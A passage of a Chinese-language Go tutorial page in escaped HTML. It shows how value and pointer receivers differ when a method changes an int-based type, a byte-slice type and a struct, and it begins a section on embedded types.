class=\"line\"\u003e58\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e75\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e76\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e77\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e78\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e79\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e80\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e81\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e82\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e83\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e84\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e85\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e86\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e87\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e88\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e89\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e90\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e91\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e92\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e93\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e94\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e95\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e96\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e97\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e98\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e99\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e100\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e101\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e102\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e103\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e104\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e105\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e106\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e107\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e108\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e109\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e110\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003epackage\u003c/span\u003e main\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;log\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 基于基本类型创建类型\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e Age \u003cspan class=\"type\"\u003eint\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 值接收者\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"params\"\u003e(age Age)\u003c/span\u003e\u003c/span\u003e ChangeAge() {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e age = \u003cspan class=\"number\"\u003e18\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 指针接收者\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"params\"\u003e(age *Age)\u003c/span\u003e\u003c/span\u003e ChangeAgeByPointer() {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e *age = \u003cspan class=\"number\"\u003e18\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 基于引用类型创建类型\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e IP []\u003cspan class=\"type\"\u003ebyte\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 值接收者\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"params\"\u003e(ip IP)\u003c/span\u003e\u003c/span\u003e ChangeIP() {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ip = []\u003cspan class=\"type\"\u003ebyte\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;456\u0026#34;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 指针接收者\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"params\"\u003e(ip *IP)\u003c/span\u003e\u003c/span\u003e ChangeIPByPointer() {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e *ip = []\u003cspan class=\"type\"\u003ebyte\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;456\u0026#34;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e Pet \u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Name \u003cspan class=\"type\"\u003estring\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Hobby []\u003cspan class=\"type\"\u003estring\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 值接收者\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"params\"\u003e(pet Pet)\u003c/span\u003e\u003c/span\u003e ChangePetValue(name \u003cspan class=\"type\"\u003estring\u003c/span\u003e, hobby []\u003cspan class=\"type\"\u003estring\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pet.Name = name\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pet.Hobby = hobby\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 指针接收者\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"params\"\u003e(pet *Pet)\u003c/span\u003e\u003c/span\u003e ChangePetValueByPointer(name \u003cspan class=\"type\"\u003estring\u003c/span\u003e, hobby []\u003cspan class=\"type\"\u003estring\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pet.Name = name\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pet.Hobby = hobby\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"title\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// -----基于基本类型来定义类型的示例-----\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 值接收者,不会改变原来的值\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e age Age = \u003cspan class=\"number\"\u003e38\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Println(\u003cspan class=\"string\"\u003e\u0026#34;前age=\u0026#34;\u003c/span\u003e, age) \u003cspan class=\"comment\"\u003e// 前age= 38\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 值调用方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e age.ChangeAge()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 指针调用方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//(\u0026amp;age).ChangeAge()\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Println(\u003cspan class=\"string\"\u003e\u0026#34;后age=\u0026#34;\u003c/span\u003e, age) \u003cspan class=\"comment\"\u003e// 后age= 38\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 指针接收者,会改变原来的值\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e age2 Age = \u003cspan class=\"number\"\u003e38\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Println(\u003cspan class=\"string\"\u003e\u0026#34;前age2=\u0026#34;\u003c/span\u003e, age2) \u003cspan class=\"comment\"\u003e// 前age= 38\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 值调用方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e age2.ChangeAgeByPointer()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 指针调用方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//(\u0026amp;age2).ChangeAgeByPointer()\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Println(\u003cspan class=\"string\"\u003e\u0026#34;后age2=\u0026#34;\u003c/span\u003e, age2) \u003cspan class=\"comment\"\u003e// 后age= 18\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// -----基于引用类型来定义类型的示例-----\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 值接收者,不会改变原来的值\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e ip IP = []\u003cspan class=\"type\"\u003ebyte\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;123\u0026#34;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Printf(\u003cspan class=\"string\"\u003e\u0026#34;前ip=%s\u0026#34;\u003c/span\u003e, ip) \u003cspan class=\"comment\"\u003e// 前ip=123\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 值调用方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ip.ChangeIP()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 指针调用方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//(\u0026amp;ip).ChangeIP()\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Printf(\u003cspan class=\"string\"\u003e\u0026#34;后ip=%s\u0026#34;\u003c/span\u003e, ip) \u003cspan class=\"comment\"\u003e// 后ip=123\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 指针接收者,会改变原来的值\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e ip2 IP = []\u003cspan class=\"type\"\u003ebyte\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;123\u0026#34;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Printf(\u003cspan class=\"string\"\u003e\u0026#34;前ip2=%s\u0026#34;\u003c/span\u003e, ip2) \u003cspan class=\"comment\"\u003e// 前ip2=123\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 值调用方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ip2.ChangeIPByPointer()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 指针调用方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//(\u0026amp;ip2).ChangeIPByPointer()\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Printf(\u003cspan class=\"string\"\u003e\u0026#34;后ip2=%s\u0026#34;\u003c/span\u003e, ip2) \u003cspan class=\"comment\"\u003e// 后ip2=456\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ----- struct 类型 -----\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 值接收者,不会改变原来的值\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e cat := Pet{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Name: \u003cspan class=\"string\"\u003e\u0026#34;kk\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Hobby: []\u003cspan class=\"type\"\u003estring\u003c/span\u003e{\u003cspan class=\"string\"\u003e\u0026#34;cookies\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;fishes\u0026#34;\u003c/span\u003e},\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Printf(\u003cspan class=\"string\"\u003e\u0026#34;前:%#v\u0026#34;\u003c/span\u003e, cat) \u003cspan class=\"comment\"\u003e// 前:method.Pet{Name:\u0026#34;kk\u0026#34;, Hobby:[]string{\u0026#34;cookies\u0026#34;, \u0026#34;fishes\u0026#34;}}\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 值调用方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e cat.ChangePetValue(\u003cspan class=\"string\"\u003e\u0026#34;kitten\u0026#34;\u003c/span\u003e, []\u003cspan class=\"type\"\u003estring\u003c/span\u003e{\u003cspan class=\"string\"\u003e\u0026#34;meat\u0026#34;\u003c/span\u003e})\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 指针调用方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//(\u0026amp;cat).ChangePetValue(\u0026#34;kitten\u0026#34;, []string{\u0026#34;meat\u0026#34;})\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Printf(\u003cspan class=\"string\"\u003e\u0026#34;后:%#v\u0026#34;\u003c/span\u003e, cat) \u003cspan class=\"comment\"\u003e// 后:method.Pet{Name:\u0026#34;kk\u0026#34;, Hobby:[]string{\u0026#34;cookies\u0026#34;, \u0026#34;fishes\u0026#34;}}\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 指针接收者,会改变原来的值\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Printf(\u003cspan class=\"string\"\u003e\u0026#34;指针前:%#v\u0026#34;\u003c/span\u003e, cat) \u003cspan class=\"comment\"\u003e// 指针前:method.Pet{Name:\u0026#34;kk\u0026#34;, Hobby:[]string{\u0026#34;cookies\u0026#34;, \u0026#34;fishes\u0026#34;}}\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 值调用方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e cat.ChangePetValueByPointer(\u003cspan class=\"string\"\u003e\u0026#34;kitten\u0026#34;\u003c/span\u003e, []\u003cspan class=\"type\"\u003estring\u003c/span\u003e{\u003cspan class=\"string\"\u003e\u0026#34;meat\u0026#34;\u003c/span\u003e}) \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 指针调用方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//(\u0026amp;cat).ChangePetValueByPointer(\u0026#34;kitten\u0026#34;, []string{\u0026#34;meat\u0026#34;})\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Printf(\u003cspan class=\"string\"\u003e\u0026#34;指针后:%#v\u0026#34;\u003c/span\u003e, cat) \u003cspan class=\"comment\"\u003e// 指针后:method.Pet{Name:\u0026#34;kitten\u0026#34;, Hobby:[]string{\u0026#34;meat\u0026#34;}}\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"04-嵌入类型\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Golang/Go%E8%AF%AD%E8%A8%80%E7%BB%93%E6%9E%84%E7%B1%BB%E5%9E%8B%E8%AF%A6%E8%A7%A3/#04-%E5%B5%8C%E5%85%A5%E7%B1%BB%E5%9E%8B\" class=\"headerlink\" title=\"04. 嵌入类型\"\u003e\u003c/a\u003e\u003cstrong\u003e04.\u003c/strong\u003e 嵌入类型\u003c/h2\u003e\u003cp\u003eGo语言通过类型嵌套的方式来复用代码,当多个结构类型相互嵌套时,外部类型会复用内部类型的代码。\u003c/p\u003e\u003cp\u003e由于内部类型的标识符会提升到外部类型中,所以内部类型实现的字段,方法和接口在外部类型中也能直接访问到。\u003c/p\u003e\u003cp\u003e当外部类型需要实现一个和内部类型一样的方法或接口时,只需要给外部类型重新绑定方法或实现接口即可。\u003c/p\u003e\u003cfigure class=\"highlight go\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr/\u003e\u003cspan 